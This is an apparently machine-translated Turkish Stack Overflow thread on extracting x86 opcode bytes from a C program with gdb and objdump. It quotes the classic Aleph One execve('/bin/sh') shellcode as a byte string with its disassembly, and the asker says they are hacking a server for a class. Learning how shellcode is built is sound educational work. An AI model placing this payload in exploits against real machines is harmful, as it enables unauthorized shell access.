2012-03-21 19 views
10

Programımın montaj kodunu gdb'yi kullanarak nasıl edinebilirim, ancak op kodunu nasıl alabilirim? Bir linux sunucusunu hacklemek için buna ihtiyacım var (endişelenmeyin, bir sınıfın parçasıyım, böylece gerçek bir sunucu zarar görmeyecektir). Aslında this makale okudum ve merak ediyorum nasıl montaj alabilirsiniz:Bir c programının op kodları nasıl elde edilir

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c 
[aleph1]$ gdb shellcodeasm 

(gdb) disassemble main 
Dump of assembler code for function main: 
0x8000130 <main>:  pushl %ebp 
0x8000131 <main+1>:  movl %esp,%ebp 
0x8000133 <main+3>:  jmp 0x800015f <main+47> 
0x8000135 <main+5>:  popl %esi 
0x8000136 <main+6>:  movl %esi,0x8(%esi) 
0x8000139 <main+9>:  movb $0x0,0x7(%esi) 
0x800013d <main+13>: movl $0x0,0xc(%esi) 
0x8000144 <main+20>: movl $0xb,%eax 
0x8000149 <main+25>: movl %esi,%ebx 
0x800014b <main+27>: leal 0x8(%esi),%ecx 
0x800014e <main+30>: leal 0xc(%esi),%edx 
0x8000151 <main+33>: int $0x80 
0x8000153 <main+35>: movl $0x1,%eax 
0x8000158 <main+40>: movl $0x0,%ebx 
0x800015d <main+45>: int $0x80 
0x800015f <main+47>: call 0x8000135 <main+5> 
0x8000164 <main+52>: das 
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 
0x8000168 <main+56>: das 
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) 
End of assembler dump. 

aşağıdadır:

testsc.c 
------------------------------------------------------------------------------ 
char shellcode[] = 
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" 
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" 
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" 
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; 

sistem Ben C. I kullanacak linux x86 ve dildir Otomatik bir yoldan gerçekten hoşlanıyor, ancak manuel bir çözüm de işe yarayacaktı.

% ebp,% esi,% esp vb. Nasıl dönüştürürüm? Kullanabileceğim bir harita var mı? veya otomatik bir program mı? İşte

+0

Bir x86 disassembler mi arıyorsunuz? –

+0

Ben disassembler –

+0

yapmaya çalıştığımın tersi olduğunu düşünüyorum x86 komut kümesinin bir listesi eşlemelere sahiptir, 0xEB (JMP' olan) veya tersini (montaj veya ") sökmek için kullanılabilir derleme ", JMP" 0xEB vb.). – tripleee

cevap

2

Bulunamadı! İlk sökme işleminden sonra aşağıdakileri yazın: x/bx enter tuşuna basın ve derleme komutlarının hex gösterimini birer birer alın!

+0

opcodes'lerini değil x/100bx start_address'i kullanarak hepsini tek seferde yapabilirsiniz. Bu, start_address'ten başlayarak sonraki 100 baytın onaltılık temsilini verecektir. Demonte kodunuzun kapsadığı bayt sayısını 100 olarak değiştirin. – Anonymous

11

gitmek: o add %cl öğretiminde son 00 dize null sonlandırıcı bayt geliyor nasıl

Disassembly of section .data: 

00000000 <shellcode>: 
    0:  eb 2a     jmp 2c <shellcode+0x2c> 
    2:  5e      pop %esi 
    3:  89 76 08    mov %esi,0x8(%esi) 
    6:  c6 46 07 00    movb $0x0,0x7(%esi) 
    a:  c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) 
    11:  b8 0b 00 00 00   mov $0xb,%eax 
    16:  89 f3     mov %esi,%ebx 
    18:  8d 4e 08    lea 0x8(%esi),%ecx 
    1b:  8d 56 0c    lea 0xc(%esi),%edx 
    1e:  cd 80     int $0x80 
    20:  b8 01 00 00 00   mov $0x1,%eax 
    25:  bb 00 00 00 00   mov $0x0,%ebx 
    2a:  cd 80     int $0x80 
    2c:  e8 d1 ff ff ff   call 2 <shellcode+0x2> 
    31:  2f      das 
    32:  62 69 6e    bound %ebp,0x6e(%ecx) 
    35:  2f      das 
    36:  73 68     jae a0 <shellcode+0xa0> 
    38:  00 89 ec 5d c3 00  add %cl,0xc35dec(%ecx) 

Not; açık değildir.

bu ben sadece

gcc testsc.c -c 

ile beyanı derlenmiş ve daha sonra

objdump -D testsc.o 
+0

Bence bunu yapmak istediğimin sohbeti bu ... –

+0

Öyle olabilir, ama cevap aynı.'Shellcodeasm' programını' gcc' içinde yapmak yerine 'objdump' kullanarak sökebilirsiniz. Gördüğünüz gibi, çıkış formatı size sökme listesini * ve * opcodes verir. Bayt sütununu kesmek ve bunları otomatik olarak bir C beyanına dönüştürmek için bazı metin işlemlerini yapabilirsiniz. – Kaz

6

kullanabilirsiniz olmasıydı var: Nasıl

gcc -S -c tst.c -o - 

veya

gcc -g -ggdb -c tst.c 
objdump -S tst.o 
Programınızın opcodes ile sökülmesini sağlamak için

.

sizin karakter dizinin sökme kullanabileceğiniz almak için:

gcc -c tst.c 
objdump -D -j .data tst.o 
+0

Emin misin? objdump, varsayılan olarak veri bölümünü parçalarına ayırmaz ve gcc, rasgele değişmez dizeleri opcodes'e dönüştürmez. – zvrba

+0

@zvrba cevabımı güncelledi, ilk başta dizinin baytlarının sökülmesini istediğini fark etmedim. – ouah

+0

Eğer objdump varsayılan olarak veri bölümlerini parçalarına ayırmazsa, bu cevabı nasıl ürettim? – Kaz

0

küçük montaj dosyası oluşturun code.s söylüyorlar.

.text 
.byte 0xeb, 0x2a, 0x5e, .. 

as code.s -o code.o ile birleştirin ve sonucu sökmeye objdump kullanın: Daha sonra aşağıdaki içini koydu.

İlgili konular